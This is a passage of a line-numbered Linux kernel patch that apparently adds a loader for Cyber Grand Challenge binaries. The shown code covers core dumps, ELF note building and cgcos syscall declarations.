phdr->p_vaddr + phdr->p_filesz; 938 | + hi = CGC_PAGEALIGN(phdr->p_vaddr + phdr->p_memsz); 939 | + if ((hi - lo) > 0) { 940 | + if (clear_user((void __user *)lo, hi - lo)) { 941 | + /* 942 | + * This bss-zeroing can fail if the ELF 943 | + * file specifies odd protections. So 944 | + * we don't check the return value 945 | + */ 946 | + } 947 | + } 948 | + return (addr); 949 | +} 950 | + 951 | +/* We need to explicitly zero any fractional pages 952 | + after the data section (i.e. bss). This would 953 | + contain the junk from the file that should not 954 | + be in memory 955 | + */ 956 | +static int 957 | +padzero(unsigned long bss) 958 | +{ 959 | + unsigned long nbyte; 960 | + 961 | + nbyte = CGC_PAGEOFFSET(bss); 962 | + if (nbyte) { 963 | + nbyte = CGC_MIN_ALIGN - nbyte; 964 | + if (clear_user((void __user *)bss, nbyte)) 965 | + return -EFAULT; 966 | + } 967 | + return 0; 968 | +} 969 | + 970 | +static int 971 | +cgc_core_dump(struct coredump_params *cprm) 972 | +{ 973 | + int dumped = 0, reset_fs = 0; 974 | + mm_segment_t fs; 975 | + int segs; 976 | + struct vm_area_struct *vma; 977 | + struct elfhdr *elf = NULL; 978 | + loff_t offset = 0, dataoff; 979 | + struct elf_note_info info = { }; 980 | + struct elf_phdr *phdr4note = NULL; 981 | + struct elf_shdr *shdr4extnum = NULL; 982 | + Elf_Half e_phnum; 983 | + elf_addr_t e_shoff; 984 | + 985 | + elf = kmalloc(sizeof(*elf), GFP_KERNEL); 986 | + if (!elf) 987 | + goto out; 988 | + 989 | + segs = current->mm->map_count; 990 | + segs += elf_core_extra_phdrs(); 991 | + segs++; /* notes section */ 992 | + 993 | + e_phnum = segs > PN_XNUM ? PN_XNUM : segs; 994 | + 995 | + if (!fill_note_info(elf, e_phnum, &info, cprm->siginfo, cprm->regs)) 996 | + goto out; 997 | + 998 | + dumped = 1; 999 | + fs = get_fs(); 1000 | + set_fs(KERNEL_DS); 1001 | + reset_fs = 1; 1002 | + 1003 | + offset += sizeof(*elf); 1004 | + offset += segs * sizeof(struct elf_phdr); 1005 | + 1006 | + { 1007 | + size_t sz = get_note_info_size(&info); 1008 | + 1009 | + sz += elf_coredump_extra_notes_size(); 1010 | + phdr4note = kmalloc(sizeof(*phdr4note), GFP_KERNEL); 1011 | + if (!phdr4note) 1012 | + goto out; 1013 | + 1014 | + fill_elf_note_phdr(phdr4note, sz, offset); 1015 | + offset += sz; 1016 | + } 1017 | + 1018 | + dataoff = offset = roundup(offset, ELF_EXEC_PAGESIZE); 1019 | + 1020 | + for (vma = current->mm->mmap; vma != NULL; vma = vma->vm_next) 1021 | + offset += vma_dump_size(vma, cprm->mm_flags); 1022 | + 1023 | + e_shoff = offset; 1024 | + 1025 | + if (e_phnum == PN_XNUM) { 1026 | + shdr4extnum = kmalloc(sizeof(*shdr4extnum), GFP_KERNEL); 1027 | + if (!shdr4extnum) 1028 | + goto out; 1029 | + 1030 | + elf->e_shoff = e_shoff; 1031 | + elf->e_shentsize = sizeof(*shdr4extnum); 1032 | + elf->e_shnum = 1; 1033 | + elf->e_shstrndx = SHN_UNDEF; 1034 | + 1035 | + memset(shdr4extnum, 0, sizeof(*shdr4extnum)); 1036 | + 1037 | + shdr4extnum->sh_type = SHT_NULL; 1038 | + shdr4extnum->sh_size = elf->e_shnum; 1039 | + shdr4extnum->sh_link = elf->e_shstrndx; 1040 | + shdr4extnum->sh_info = segs; 1041 | + } 1042 | + 1043 | + offset = dataoff; 1044 | + 1045 | +#ifndef EI_ABIVERSION 1046 | +/* kernel elf.h is missing this defn */ 1047 | +#define EI_ABIVERSION 8 1048 | +#endif 1049 | + 1050 | + elf->e_ident[EI_MAG0] = 0x7f; 1051 | + elf->e_ident[EI_MAG1] = 'C'; 1052 | + elf->e_ident[EI_MAG2] = 'G'; 1053 | + elf->e_ident[EI_MAG3] = 'C'; 1054 | + elf->e_ident[EI_OSABI] = 'C'; 1055 | + elf->e_ident[EI_ABIVERSION] = 1; 1056 | + 1057 | + if (!dump_emit(cprm, elf, sizeof(*elf))) 1058 | + goto out; 1059 | + 1060 | + if (phdr4note && !dump_emit(cprm, phdr4note, sizeof(*phdr4note))) 1061 | + goto out; 1062 | + 1063 | + /* Write program headers for segments dump */ 1064 | + for (vma = current->mm->mmap; vma != NULL; vma = vma->vm_next) { 1065 | + struct elf_phdr phdr; 1066 | + 1067 | + phdr.p_type = PT_LOAD; 1068 | + phdr.p_offset = offset; 1069 | + phdr.p_vaddr = vma->vm_start; 1070 | + phdr.p_paddr = 0; 1071 | + phdr.p_filesz = vma_dump_size(vma, cprm->mm_flags); 1072 | + phdr.p_memsz = vma->vm_end - vma->vm_start; 1073 | + offset += phdr.p_filesz; 1074 | + phdr.p_flags = vma->vm_flags & VM_READ ? PF_R : 0; 1075 | + if (vma->vm_flags & VM_WRITE) 1076 | + phdr.p_flags |= PF_W; 1077 | + if (vma->vm_flags & VM_EXEC) 1078 | + phdr.p_flags |= PF_X; 1079 | + phdr.p_align = ELF_EXEC_PAGESIZE; 1080 | + 1081 | + if (!dump_emit(cprm, &phdr, sizeof(phdr))) 1082 | + goto out; 1083 | + } 1084 | + 1085 | + if (!elf_core_write_extra_phdrs(cprm, offset)) 1086 | + goto out; 1087 | + 1088 | + /* write out the notes section */ 1089 | + if (!write_note_info(&info, cprm)) 1090 | + goto out; 1091 | + 1092 | + if (elf_coredump_extra_notes_write(cprm)) 1093 | + goto out; 1094 | + 1095 | + /* Align to page */ 1096 | + if (!dump_skip(cprm, dataoff - cprm->written)) 1097 | + goto out; 1098 | + 1099 | + for (vma = current->mm->mmap; vma != NULL; vma = vma->vm_next) { 1100 | + unsigned long addr; 1101 | + unsigned long end; 1102 | + 1103 | + end = vma->vm_start + vma_dump_size(vma, cprm->mm_flags); 1104 | + 1105 | + for (addr = vma->vm_start; addr < end; addr += PAGE_SIZE) { 1106 | + struct page *page; 1107 | + int stop; 1108 | + 1109 | + page = get_dump_page(addr); 1110 | + if (page) { 1111 | + void *kaddr = kmap(page); 1112 | + stop = !dump_emit(cprm, kaddr, PAGE_SIZE); 1113 | + kunmap(page); 1114 | + page_cache_release(page); 1115 | + } else 1116 | + stop = !dump_skip(cprm, PAGE_SIZE); 1117 | + if (stop) 1118 | + goto out; 1119 | + } 1120 | + } 1121 | + 1122 | + if (!elf_core_write_extra_data(cprm)) 1123 | + goto out; 1124 | + 1125 | + if (e_phnum == PN_XNUM) { 1126 | + if (!dump_emit(cprm, shdr4extnum, sizeof(*shdr4extnum))) 1127 | + goto out; 1128 | + } 1129 | + 1130 | +out: 1131 | + free_note_info(&info); 1132 | + if (reset_fs) 1133 | + set_fs(fs); 1134 | + if (shdr4extnum) 1135 | + kfree(shdr4extnum); 1136 | + if (phdr4note) 1137 | + kfree(phdr4note); 1138 | + if (elf) 1139 | + kfree(elf); 1140 | + return (dumped); 1141 | +} 1142 | + 1143 | +static void 1144 | +free_note_info(struct elf_note_info *info) 1145 | +{ 1146 | + struct elf_thread_core_info *threads = info->thread; 1147 | + while (threads) { 1148 | + unsigned int i; 1149 | + struct elf_thread_core_info *t = threads; 1150 | + threads = t->next; 1151 | + WARN_ON(t->notes[0].data && t->notes[0].data != &t->prstatus); 1152 | + for (i = 1; i < info->thread_notes; ++i) 1153 | + kfree(t->notes[i].data); 1154 | + kfree(t); 1155 | + } 1156 | + kfree(info->psinfo.data); 1157 | + vfree(info->files.data); 1158 | +} 1159 | + 1160 | +static void 1161 | +fill_elf_note_phdr(struct elf_phdr *phdr, int sz, loff_t offset) 1162 | +{ 1163 | + phdr->p_type = PT_NOTE; 1164 | + phdr->p_offset = offset; 1165 | + phdr->p_vaddr = 0; 1166 | + phdr->p_paddr = 0; 1167 | + phdr->p_filesz = sz; 1168 | + phdr->p_memsz = 0; 1169 | + phdr->p_flags = 0; 1170 | + phdr->p_align = 0; 1171 | +} 1172 | + 1173 | +static int 1174 | +fill_psinfo(struct elf_prpsinfo *psinfo, struct task_struct *p, 1175 | + struct mm_struct *mm) 1176 | +{ 1177 | + const struct cred *cred; 1178 | + unsigned int i, len; 1179 | + 1180 | + /* first copy the parameters from user space */ 1181 | + memset(psinfo, 0, sizeof(struct elf_prpsinfo)); 1182 | + 1183 | + len = mm->arg_end - mm->arg_start; 1184 | + if (len >= ELF_PRARGSZ) 1185 | + len = ELF_PRARGSZ-1; 1186 | + if (copy_from_user(&psinfo->pr_psargs, 1187 | + (const char __user *)mm->arg_start, len)) 1188 | + return -EFAULT; 1189 | + for(i = 0; i < len; i++) 1190 | + if (psinfo->pr_psargs[i] == 0) 1191 | + psinfo->pr_psargs[i] = ' '; 1192 | + psinfo->pr_psargs[len] = 0; 1193 | + 1194 | + rcu_read_lock(); 1195 | + psinfo->pr_ppid = task_pid_vnr(rcu_dereference(p->real_parent)); 1196 | + rcu_read_unlock(); 1197 | + psinfo->pr_pid = task_pid_vnr(p); 1198 | + psinfo->pr_pgrp = task_pgrp_vnr(p); 1199 | + psinfo->pr_sid = task_session_vnr(p); 1200 | + 1201 | + i = p->state ? ffz(~p->state) + 1 : 0; 1202 | + psinfo->pr_state = i; 1203 | + psinfo->pr_sname = (i > 5) ? '.' : "RSDTZW"[i]; 1204 | + psinfo->pr_zomb = psinfo->pr_sname == 'Z'; 1205 | + psinfo->pr_nice = task_nice(p); 1206 | + psinfo->pr_flag = p->flags; 1207 | + rcu_read_lock(); 1208 | + cred = __task_cred(p); 1209 | + SET_UID(psinfo->pr_uid, from_kuid_munged(cred->user_ns, cred->uid)); 1210 | + SET_GID(psinfo->pr_gid, from_kgid_munged(cred->user_ns, cred->gid)); 1211 | + rcu_read_unlock(); 1212 | + strncpy(psinfo->pr_fname, p->comm, sizeof(psinfo->pr_fname)); 1213 | + 1214 | + return 0; 1215 | +} 1216 | + 1217 | +static void 1218 | +fill_auxv_note(struct memelfnote *note, struct mm_struct *mm) 1219 | +{ 1220 | + elf_addr_t *auxv = (elf_addr_t *) mm->saved_auxv; 1221 | + int i = 0; 1222 | + do 1223 | + i += 2; 1224 | + while (auxv[i - 2] != AT_NULL); 1225 | + fill_note(note, "CORE", NT_AUXV, i * sizeof(elf_addr_t), auxv); 1226 | +} 1227 | + 1228 | +static void 1229 | +fill_siginfo_note(struct memelfnote *note, user_siginfo_t *csigdata, 1230 | + const siginfo_t *siginfo) 1231 | +{ 1232 | + mm_segment_t old_fs = get_fs(); 1233 | + set_fs(KERNEL_DS); 1234 | + copy_siginfo_to_user((user_siginfo_t __user *) csigdata, siginfo); 1235 | + set_fs(old_fs); 1236 | + fill_note(note, "CORE", NT_SIGINFO, sizeof(*csigdata), csigdata); 1237 | +} 1238 | + 1239 | +static void 1240 | +fill_note(struct memelfnote *note, const char *name, int type, 1241 | + unsigned int sz, void *data) 1242 | +{ 1243 | + note->name = name; 1244 | + note->type = type; 1245 | + note->datasz = sz; 1246 | + note->data = data; 1247 | +} 1248 | + 1249 | +static int 1250 | +notesize(struct memelfnote *en) 1251 | +{ 1252 | + int sz; 1253 | + 1254 | + sz = sizeof(struct elf_note); 1255 | + sz += roundup(strlen(en->name) + 1, 4); 1256 | + sz += roundup(en->datasz, 4); 1257 | + 1258 | + return sz; 1259 | +} 1260 | + 1261 | +static void 1262 | +fill_prstatus(struct elf_prstatus *prstatus, struct task_struct *p, long signr) 1263 | +{ 1264 | + prstatus->pr_info.si_signo = prstatus->pr_cursig = signr; 1265 | + prstatus->pr_sigpend = p->pending.signal.sig[0]; 1266 | + prstatus->pr_sighold = p->blocked.sig[0]; 1267 | + rcu_read_lock(); 1268 | + prstatus->pr_ppid = task_pid_vnr(rcu_dereference(p->real_parent)); 1269 | + rcu_read_unlock(); 1270 | + prstatus->pr_pid = task_pid_vnr(p); 1271 | + prstatus->pr_pgrp = task_pgrp_vnr(p); 1272 | + prstatus->pr_sid = task_session_vnr(p); 1273 | + if (thread_group_leader(p)) { 1274 | + struct task_cputime cputime; 1275 | + 1276 | + /* 1277 | + * This is the record for the group leader. It shows the 1278 | + * group-wide total, not its individual thread total. 1279 | + */ 1280 | + thread_group_cputime(p, &cputime); 1281 | + cputime_to_timeval(cputime.utime, &prstatus->pr_utime); 1282 | + cputime_to_timeval(cputime.stime, &prstatus->pr_stime); 1283 | + } else { 1284 | + cputime_t utime, stime; 1285 | + 1286 | + task_cputime(p, &utime, &stime); 1287 | + cputime_to_timeval(utime, &prstatus->pr_utime); 1288 | + cputime_to_timeval(stime, &prstatus->pr_stime); 1289 | + } 1290 | + cputime_to_timeval(p->signal->cutime, &prstatus->pr_cutime); 1291 | + cputime_to_timeval(p->signal->cstime, &prstatus->pr_cstime); 1292 | +} 1293 | + 1294 | +static int 1295 | +fill_thread_core_info(struct elf_thread_core_info *t, 1296 | + const struct user_regset_view *view, 1297 | + long signr, size_t *total) 1298 | +{ 1299 | + unsigned int i; 1300 | + 1301 | + /* 1302 | + * NT_PRSTATUS is the one special case, because the regset data 1303 | + * goes into the pr_reg field inside the note contents, rather 1304 | + * than being the whole note contents. We fill the reset in here. 1305 | + * We assume that regset 0 is NT_PRSTATUS. 1306 | + */ 1307 | + fill_prstatus(&t->prstatus, t->task, signr); 1308 | + (void) view->regsets[0].get(t->task, &view->regsets[0], 1309 | + 0, PR_REG_SIZE(t->prstatus.pr_reg), 1310 | + PR_REG_PTR(&t->prstatus), NULL); 1311 | + 1312 | + fill_note(&t->notes[0], "CORE", NT_PRSTATUS, 1313 | + PRSTATUS_SIZE(t->prstatus), &t->prstatus); 1314 | + *total += notesize(&t->notes[0]); 1315 | + 1316 | + do_thread_regset_writeback(t->task, &view->regsets[0]); 1317 | + 1318 | + /* 1319 | + * Each other regset might generate a note too. For each regset 1320 | + * that has no core_note_type or is inactive, we leave t->notes[i] 1321 | + * all zero and we'll know to skip writing it later. 1322 | + */ 1323 | + for (i = 1; i < view->n; ++i) { 1324 | + const struct user_regset *regset = &view->regsets[i]; 1325 | + do_thread_regset_writeback(t->task, regset); 1326 | + if (regset->core_note_type && regset->get && 1327 | + (!regset->active || regset->active(t->task, regset))) { 1328 | + int ret; 1329 | + size_t size = regset->n * regset->size; 1330 | + void *data = kmalloc(size, GFP_KERNEL); 1331 | + if (unlikely(!data)) 1332 | + return 0; 1333 | + ret = regset->get(t->task, regset, 1334 | + 0, size, data, NULL); 1335 | + if (unlikely(ret)) 1336 | + kfree(data); 1337 | + else { 1338 | + if (regset->core_note_type != NT_PRFPREG) 1339 | + fill_note(&t->notes[i], "LINUX", 1340 | + regset->core_note_type, 1341 | + size, data); 1342 | + else { 1343 | + SET_PR_FPVALID(&t->prstatus, 1); 1344 | + fill_note(&t->notes[i], "CORE", 1345 | + NT_PRFPREG, size, data); 1346 | + } 1347 | + *total += notesize(&t->notes[i]); 1348 | + } 1349 | + } 1350 | + } 1351 | + 1352 | + return 1; 1353 | +} 1354 | + 1355 | +static int 1356 | +fill_note_info(struct elfhdr *elf, int phdrs, struct elf_note_info *info, 1357 | + const siginfo_t *siginfo, struct pt_regs *regs) 1358 | +{ 1359 | + struct task_struct *dump_task = current; 1360 | + const struct user_regset_view *view = task_user_regset_view(dump_task); 1361 | + struct elf_thread_core_info *t; 1362 | + struct elf_prpsinfo *psinfo; 1363 | + struct core_thread *ct; 1364 | + unsigned int i; 1365 | + 1366 | + info->size = 0; 1367 | + info->thread = NULL; 1368 | + 1369 | + psinfo = kmalloc(sizeof(*psinfo), GFP_KERNEL); 1370 | + if (psinfo == NULL) { 1371 | + info->psinfo.data = NULL; /* So we don't free this wrongly */ 1372 | + return 0; 1373 | + } 1374 | + 1375 | + fill_note(&info->psinfo, "CORE", NT_PRPSINFO, sizeof(*psinfo), psinfo); 1376 | + 1377 | + /* 1378 | + * Figure out how many notes we're going to need for each thread. 1379 | + */ 1380 | + info->thread_notes = 0; 1381 | + for (i = 0; i < view->n; ++i) 1382 | + if (view->regsets[i].core_note_type != 0) 1383 | + ++info->thread_notes; 1384 | + 1385 | + /* 1386 | + * Sanity check. We rely on regset 0 being in NT_PRSTATUS, 1387 | + * since it is our one special case. 1388 | + */ 1389 | + if (unlikely(info->thread_notes == 0) || 1390 | + unlikely(view->regsets[0].core_note_type != NT_PRSTATUS)) { 1391 | + WARN_ON(1); 1392 | + return 0; 1393 | + } 1394 | + 1395 | + /* 1396 | + * Initialize the ELF file header. 1397 | + */ 1398 | + fill_elf_header(elf, phdrs, 1399 | + view->e_machine, view->e_flags); 1400 | + 1401 | + /* 1402 | + * Allocate a structure for each thread. 1403 | + */ 1404 | + for (ct = &dump_task->mm->core_state->dumper; ct; ct = ct->next) { 1405 | + t = kzalloc(offsetof(struct elf_thread_core_info, 1406 | + notes[info->thread_notes]), 1407 | + GFP_KERNEL); 1408 | + if (unlikely(!t)) 1409 | + return 0; 1410 | + 1411 | + t->task = ct->task; 1412 | + if (ct->task == dump_task || !info->thread) { 1413 | + t->next = info->thread; 1414 | + info->thread = t; 1415 | + } else { 1416 | + /* 1417 | + * Make sure to keep the original task at 1418 | + * the head of the list. 1419 | + */ 1420 | + t->next = info->thread->next; 1421 | + info->thread->next = t; 1422 | + } 1423 | + } 1424 | + 1425 | + /* 1426 | + * Now fill in each thread's information. 1427 | + */ 1428 | + for (t = info->thread; t != NULL; t = t->next) 1429 | + if (!fill_thread_core_info(t, view, siginfo->si_signo, &info->size)) 1430 | + return 0; 1431 | + 1432 | + /* 1433 | + * Fill in the two process-wide notes. 1434 | + */ 1435 | + fill_psinfo(psinfo, dump_task->group_leader, dump_task->mm); 1436 | + info->size += notesize(&info->psinfo); 1437 | + 1438 | + fill_siginfo_note(&info->signote, &info->csigdata, siginfo); 1439 | + info->size += notesize(&info->signote); 1440 | + 1441 | + fill_auxv_note(&info->auxv, current->mm); 1442 | + info->size += notesize(&info->auxv); 1443 | + 1444 | + if (fill_files_note(&info->files) == 0) 1445 | + info->size += notesize(&info->files); 1446 | + 1447 | + return 1; 1448 | +} 1449 | + 1450 | +static int 1451 | +writenote(struct memelfnote *men, struct coredump_params *cprm) 1452 | +{ 1453 | + struct elf_note en; 1454 | + en.n_namesz = strlen(men->name) + 1; 1455 | + en.n_descsz = men->datasz; 1456 | + en.n_type = men->type; 1457 | + 1458 | + return dump_emit(cprm, &en, sizeof(en)) && 1459 | + dump_emit(cprm, men->name, en.n_namesz) && dump_align(cprm, 4) && 1460 | + dump_emit(cprm, men->data, men->datasz) && dump_align(cprm, 4); 1461 | +} 1462 | + 1463 | +static void fill_elf_header(struct elfhdr *elf, int segs, 1464 | + u16 machine, u32 flags) 1465 | +{ 1466 | + memset(elf, 0, sizeof(*elf)); 1467 | + 1468 | + memcpy(elf->e_ident, ELFMAG, SELFMAG); 1469 | + elf->e_ident[EI_CLASS] = ELF_CLASS; 1470 | + elf->e_ident[EI_DATA] = ELF_DATA; 1471 | + elf->e_ident[EI_VERSION] = EV_CURRENT; 1472 | + elf->e_ident[EI_OSABI] = ELF_OSABI; 1473 | + 1474 | + elf->e_type = ET_CORE; 1475 | + elf->e_machine = machine; 1476 | + elf->e_version = EV_CURRENT; 1477 | + elf->e_phoff = sizeof(struct elfhdr); 1478 | + elf->e_flags = flags; 1479 | + elf->e_ehsize = sizeof(struct elfhdr); 1480 | + elf->e_phentsize = sizeof(struct elf_phdr); 1481 | + elf->e_phnum = segs; 1482 | +} 1483 | + 1484 | +static size_t 1485 | +get_note_info_size(struct elf_note_info *info) 1486 | +{ 1487 | + return info->size; 1488 | +} 1489 | + 1490 | +static int 1491 | +write_note_info(struct elf_note_info *info, struct coredump_params *cprm) 1492 | +{ 1493 | + bool first = 1; 1494 | + struct elf_thread_core_info *t = info->thread; 1495 | + 1496 | + do { 1497 | + int i; 1498 | + 1499 | + if (!writenote(&t->notes[0], cprm)) 1500 | + return 0; 1501 | + 1502 | + if (first && !writenote(&info->psinfo, cprm)) 1503 | + return 0; 1504 | + if (first && !writenote(&info->signote, cprm)) 1505 | + return 0; 1506 | + if (first && !writenote(&info->auxv, cprm)) 1507 | + return 0; 1508 | + if (first && info->files.data && 1509 | + !writenote(&info->files, cprm)) 1510 | + return 0; 1511 | + 1512 | + for (i = 1; i < info->thread_notes; ++i) 1513 | + if (t->notes[i].data && 1514 | + !writenote(&t->notes[i], cprm)) 1515 | + return 0; 1516 | + 1517 | + first = 0; 1518 | + t = t->next; 1519 | + } while (t); 1520 | + 1521 | + return 1; 1522 | +} 1523 | + 1524 | +static void 1525 | +do_thread_regset_writeback(struct task_struct *task, 1526 | + const struct user_regset *regset) 1527 | +{ 1528 | + if (regset->writeback) 1529 | + regset->writeback(task, regset, 1); 1530 | +} 1531 | + 1532 | +#define MAX_FILE_NOTE_SIZE (4*1024*1024) 1533 | +/* 1534 | + * Format of NT_FILE note: 1535 | + * 1536 | + * long count -- how many files are mapped 1537 | + * long page_size -- units for file_ofs 1538 | + * array of [COUNT] elements of 1539 | + * long start 1540 | + * long end 1541 | + * long file_ofs 1542 | + * followed by COUNT filenames in ASCII: "FILE1" NUL "FILE2" NUL... 1543 | + */ 1544 | +static int 1545 | +fill_files_note(struct memelfnote *note) 1546 | +{ 1547 | + struct vm_area_struct *vma; 1548 | + unsigned count, size, names_ofs, remaining, n; 1549 | + user_long_t *data; 1550 | + user_long_t *start_end_ofs; 1551 | + char *name_base, *name_curpos; 1552 | + 1553 | + /* *Estimated* file count and total data size needed */ 1554 | + count = current->mm->map_count; 1555 | + size = count * 64; 1556 | + 1557 | + names_ofs = (2 + 3 * count) * sizeof(data[0]); 1558 | + alloc: 1559 | + if (size >= MAX_FILE_NOTE_SIZE) /* paranoia check */ 1560 | + return -EINVAL; 1561 | + size = round_up(size, PAGE_SIZE); 1562 | + data = vmalloc(size); 1563 | + if (!data) 1564 | + return -ENOMEM; 1565 | + 1566 | + start_end_ofs = data + 2; 1567 | + name_base = name_curpos = ((char *)data) + names_ofs; 1568 | + remaining = size - names_ofs; 1569 | + count = 0; 1570 | + for (vma = current->mm->mmap; vma != NULL; vma = vma->vm_next) { 1571 | + struct file *file; 1572 | + const char *filename; 1573 | + 1574 | + file = vma->vm_file; 1575 | + if (!file) 1576 | + continue; 1577 | + filename = d_path(&file->f_path, name_curpos, remaining); 1578 | + if (IS_ERR(filename)) { 1579 | + if (PTR_ERR(filename) == -ENAMETOOLONG) { 1580 | + vfree(data); 1581 | + size = size * 5 / 4; 1582 | + goto alloc; 1583 | + } 1584 | + continue; 1585 | + } 1586 | + 1587 | + /* d_path() fills at the end, move name down */ 1588 | + /* n = strlen(filename) + 1: */ 1589 | + n = (name_curpos + remaining) - filename; 1590 | + remaining = filename - name_curpos; 1591 | + memmove(name_curpos, filename, n); 1592 | + name_curpos += n; 1593 | + 1594 | + *start_end_ofs++ = vma->vm_start; 1595 | + *start_end_ofs++ = vma->vm_end; 1596 | + *start_end_ofs++ = vma->vm_pgoff; 1597 | + count++; 1598 | + } 1599 | + 1600 | + /* Now we know exact count of files, can store it */ 1601 | + data[0] = count; 1602 | + data[1] = PAGE_SIZE; 1603 | + /* 1604 | + * Count usually is less than current->mm->map_count, 1605 | + * we need to move filenames down. 1606 | + */ 1607 | + n = current->mm->map_count - count; 1608 | + if (n != 0) { 1609 | + unsigned shift_bytes = n * 3 * sizeof(data[0]); 1610 | + memmove(name_base - shift_bytes, name_base, 1611 | + name_curpos - name_base); 1612 | + name_curpos -= shift_bytes; 1613 | + } 1614 | + 1615 | + size = name_curpos - (char *)data; 1616 | + fill_note(note, "CORE", NT_FILE, size, data); 1617 | + return 0; 1618 | +} 1619 | + 1620 | +static unsigned long 1621 | +vma_dump_size(struct vm_area_struct *vma, unsigned long mm_flags) 1622 | +{ 1623 | +#define FILTER(type) (mm_flags & (1UL << MMF_DUMP_##type)) 1624 | + 1625 | + if (vma->vm_flags & VM_DONTDUMP) 1626 | + return 0; 1627 | + 1628 | + /* Hugetlb memory check */ 1629 | + if (vma->vm_flags & VM_HUGETLB) { 1630 | + if ((vma->vm_flags & VM_SHARED) && FILTER(HUGETLB_SHARED)) 1631 | + goto whole; 1632 | + if (!(vma->vm_flags & VM_SHARED) && FILTER(HUGETLB_PRIVATE)) 1633 | + goto whole; 1634 | + return 0; 1635 | + } 1636 | + 1637 | + /* Do not dump I/O mapped devices or special mappings */ 1638 | + if (vma->vm_flags & VM_IO) 1639 | + return 0; 1640 | + 1641 | + /* By default, dump shared memory if mapped from an anonymous file. */ 1642 | + if (vma->vm_flags & VM_SHARED) { 1643 | + if (file_inode(vma->vm_file)->i_nlink == 0 ? 1644 | + FILTER(ANON_SHARED) : FILTER(MAPPED_SHARED)) 1645 | + goto whole; 1646 | + return 0; 1647 | + } 1648 | + 1649 | + /* Dump segments that have been written to. */ 1650 | + if (vma->anon_vma && FILTER(ANON_PRIVATE)) 1651 | + goto whole; 1652 | + if (vma->vm_file == NULL) 1653 | + return 0; 1654 | + 1655 | + if (FILTER(MAPPED_PRIVATE)) 1656 | + goto whole; 1657 | + 1658 | + /* 1659 | + * If this looks like the beginning of a DSO or executable mapping, 1660 | + * check for an ELF header. If we find one, dump the first page to 1661 | + * aid in determining what was mapped here. 1662 | + */ 1663 | + if (FILTER(ELF_HEADERS) && 1664 | + vma->vm_pgoff == 0 && (vma->vm_flags & VM_READ)) { 1665 | + u32 __user *header = (u32 __user *) vma->vm_start; 1666 | + u32 word; 1667 | + mm_segment_t fs = get_fs(); 1668 | + /* 1669 | + * Doing it this way gets the constant folded by GCC. 1670 | + */ 1671 | + union { 1672 | + u32 cmp; 1673 | + char elfmag[SELFMAG]; 1674 | + } magic; 1675 | + BUILD_BUG_ON(SELFMAG != sizeof word); 1676 | + magic.elfmag[EI_MAG0] = ELFMAG0; 1677 | + magic.elfmag[EI_MAG1] = ELFMAG1; 1678 | + magic.elfmag[EI_MAG2] = ELFMAG2; 1679 | + magic.elfmag[EI_MAG3] = ELFMAG3; 1680 | + /* 1681 | + * Switch to the user "segment" for get_user(), 1682 | + * then put back what elf_core_dump() had in place. 1683 | + */ 1684 | + set_fs(USER_DS); 1685 | + if (unlikely(get_user(word, header))) 1686 | + word = 0; 1687 | + set_fs(fs); 1688 | + if (word == magic.cmp) 1689 | + return PAGE_SIZE; 1690 | + } 1691 | + 1692 | +#undef FILTER 1693 | + 1694 | + return 0; 1695 | + 1696 | +whole: 1697 | + return vma->vm_end - vma->vm_start; 1698 | +} 1699 | + 1700 | +/* 1701 | + * Every entry in the systen tables is described by this structure. 1702 | + */ 1703 | +struct sysent { 1704 | + void *se_syscall; /* function to call */ 1705 | + short se_nargs; /* number of aguments */ 1706 | + 1707 | + /* 1708 | + * Theses are only used for syscall tracing. 1709 | + */ 1710 | + char *se_name; /* name of function */ 1711 | + char *se_args; /* how to print the argument list */ 1712 | +}; 1713 | + 1714 | +/* This comes from arch/x86/include/asm/ptrace.h */ 1715 | +/* 1716 | +struct pt_regs { 1717 | + unsigned long ebx; 1718 | + unsigned long ecx; 1719 | + unsigned long edx; 1720 | + unsigned long esi; 1721 | + unsigned long edi; 1722 | + unsigned long ebp; 1723 | + unsigned long eax; 1724 | + unsigned long ds; 1725 | + unsigned long es; 1726 | + unsigned long fs; 1727 | + unsigned long gs; 1728 | + unsigned long orig_eax; 1729 | + unsigned long eip; 1730 | + unsigned long cs; 1731 | + unsigned long flags; 1732 | + unsigned long esp; 1733 | + unsigned long ss; 1734 | +}; 1735 | +*/ 1736 | + 1737 | +#define eax ax 1738 | +#define ebx bx 1739 | +#define ecx cx 1740 | +#define edx dx 1741 | +#define esi si 1742 | +#define edi di 1743 | +#define ebp bp 1744 | + 1745 | +#ifndef MAP_ANON 1746 | +#define MAP_ANON MAP_ANONYMOUS 1747 | +#endif 1748 | + 1749 | +/* 1750 | + * Types for syscall pointers. 1751 | + */ 1752 | +typedef asmlinkage int (*syscallv_t)(void); 1753 | +typedef asmlinkage int (*syscall1_t)(int); 1754 | +typedef asmlinkage int (*syscall2_t)(int, int); 1755 | +typedef asmlinkage int (*syscall3_t)(int, int, int); 1756 | +typedef asmlinkage int (*syscall4_t)(int, int, int, int); 1757 | +typedef asmlinkage int (*syscall5_t)(int, int, int, int, int); 1758 | + 1759 | +/* 1760 | + * Marcos to call syscall pointers. 1761 | + */ 1762 | +#define SYSCALL_VOID(sys) \ 1763 | + ((syscallv_t)(sys))(); 1764 | +#define SYSCALL_1ARG(sys, regs) \ 1765 | + ((syscall1_t)(sys))((regs)->ebx) 1766 | +#define SYSCALL_2ARG(sys, regs) \ 1767 | + ((syscall2_t)(sys))((regs)->ebx, (regs)->ecx) 1768 | +#define SYSCALL_3ARG(sys, regs) \ 1769 | + ((syscall3_t)(sys))((regs)->ebx, (regs)->ecx, (regs)->edx) 1770 | +#define SYSCALL_4ARG(sys, regs) \ 1771 | + ((syscall4_t)(sys))((regs)->ebx, (regs)->ecx, (regs)->edx, (regs)->esi) 1772 | +#define SYSCALL_5ARG(sys, regs) \ 1773 | + ((syscall5_t)(sys))((regs)->ebx, (regs)->ecx, (regs)->edx, \ 1774 | + (regs)->esi, (regs)->edi) 1775 | + 1776 | +static int asmlinkage cgcos_allocate(unsigned long len, unsigned long prot, void __user **addr); 1777 | +static int asmlinkage cgcos_deallocate(unsigned long ptr, size_t len); 1778 | +static int asmlinkage cgcos_random(char __user *buf, size_t count, size_t __user *rnd_out); 1779 | +static int asmlinkage cgcos_transmit(int fd, char __user * buf, size_t count, size_t __user *tx_bytes); 1780 | +static int asmlinkage cgcos_receive(int fd, char __user * buf, size_t count, size_t __user *rx_bytes); 1781 | +static int asmlinkage cgcos_fdwait(int nfds, fd_set __user *readfds, fd_set __user *writefds, 1782 | + struct timeval __user *timeout, int __user *readyfds); 1783 | +void asmlinkage cgcos_syscall(int segment, struct pt_regs *regs); 1784 | +void asmlinkage cgcos_sysenter(int segment, struct pt_regs *regs); 1785 